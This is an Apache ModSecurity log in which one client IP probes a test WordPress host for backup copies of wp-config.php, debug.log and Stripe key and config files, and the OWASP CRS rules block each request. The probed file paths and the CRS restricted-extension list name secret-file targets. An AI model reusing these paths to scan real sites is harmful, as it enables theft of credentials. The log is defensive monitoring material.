[Wed Mar 11 20:56:37.144213 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHI9QGa7hTYdm05K1T1vQAAAAU"]
[Wed Mar 11 20:56:37.144362 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHI9QGa7hTYdm05K1T1vQAAAAU"]
[Wed Mar 11 20:56:37.144513 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHI9QGa7hTYdm05K1T1vQAAAAU"]
[Wed Mar 11 20:56:37.167860 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.txt"] [unique_id "abHI9eBvFsx28IYw-q9nFgAAAAg"]
[Wed Mar 11 20:56:37.168023 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.txt"] [unique_id "abHI9eBvFsx28IYw-q9nFgAAAAg"]
[Wed Mar 11 20:56:37.168177 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.txt"] [unique_id "abHI9eBvFsx28IYw-q9nFgAAAAg"]
[Wed Mar 11 20:56:37.175678 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abHI9cC_9I0i5zrBPs0AVwAAABE"]
[Wed Mar 11 20:56:37.175840 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abHI9cC_9I0i5zrBPs0AVwAAABE"]
[Wed Mar 11 20:56:37.175987 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abHI9cC_9I0i5zrBPs0AVwAAABE"]
[Wed Mar 11 20:56:37.177226 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abHI9WZJKjLICnPMAflzuAAAAAM"]
[Wed Mar 11 20:56:37.177354 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abHI9WZJKjLICnPMAflzuAAAAAM"]
[Wed Mar 11 20:56:37.177459 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abHI9WZJKjLICnPMAflzuAAAAAM"]
[Wed Mar 11 20:56:37.222598 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.txt" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.txt found within REQUEST_FILENAME: /wp-config.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.txt"] [unique_id "abHI9cC_9I0i5zrBPs0AWAAAABE"]
[Wed Mar 11 20:56:37.222758 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.txt"] [unique_id "abHI9cC_9I0i5zrBPs0AWAAAABE"]
[Wed Mar 11 20:56:37.222900 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.txt"] [unique_id "abHI9cC_9I0i5zrBPs0AWAAAABE"]
[Wed Mar 11 20:56:37.270568 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHI9WZJKjLICnPMAflzuQAAAAM"]
[Wed Mar 11 20:56:37.270692 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.old" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHI9WZJKjLICnPMAflzuQAAAAM"]
[Wed Mar 11 20:56:37.270842 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHI9WZJKjLICnPMAflzuQAAAAM"]
[Wed Mar 11 20:56:37.270985 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHI9WZJKjLICnPMAflzuQAAAAM"]
[Wed Mar 11 20:56:37.356290 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abHI9bVttqDN05FhB27JAQAAAAs"]
[Wed Mar 11 20:56:37.356569 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abHI9bVttqDN05FhB27JAQAAAAs"]
[Wed Mar 11 20:56:37.356731 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abHI9bVttqDN05FhB27JAQAAAAs"]
[Wed Mar 11 20:56:37.674366 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.key"] [unique_id "abHI9bVttqDN05FhB27JAgAAAAs"]
[Wed Mar 11 20:56:37.674694 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.key"] [unique_id "abHI9bVttqDN05FhB27JAgAAAAs"]
[Wed Mar 11 20:56:37.674856 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.key"] [unique_id "abHI9bVttqDN05FhB27JAgAAAAs"]
[Wed Mar 11 20:56:37.725399 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.log"] [unique_id "abHI9bVttqDN05FhB27JAwAAAAs"]
[Wed Mar 11 20:56:37.725733 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.log"] [unique_id "abHI9bVttqDN05FhB27JAwAAAAs"]
[Wed Mar 11 20:56:37.725892 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.log"] [unique_id "abHI9bVttqDN05FhB27JAwAAAAs"]
[Wed Mar 11 20:56:37.801081 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.conf"] [unique_id "abHI9aLYNbOGi8i_DeWmDAAAAAo"]
[Wed Mar 11 20:56:37.801359 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.conf"] [unique_id "abHI9aLYNbOGi8i_DeWmDAAAAAo"]
[Wed Mar 11 20:56:37.801516 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.conf"] [unique_id "abHI9aLYNbOGi8i_DeWmDAAAAAo"]
[Wed Mar 11 20:56:37.835908 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.ini"] [unique_id "abHI9aLYNbOGi8i_DeWmDQAAAAo"]
[Wed Mar 11 20:56:37.836177 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.ini"] [unique_id "abHI9aLYNbOGi8i_DeWmDQAAAAo"]
[Wed Mar 11 20:56:37.836336 2026] [:error] [pid 2634336] [client 185.177.72.60:51252] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.ini"] [unique_id "abHI9aLYNbOGi8i_DeWmDQAAAAo"]
[Wed Mar 11 20:56:37.843104 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.bak"] [unique_id "abHI9WZJKjLICnPMAflzvQAAAAM"]
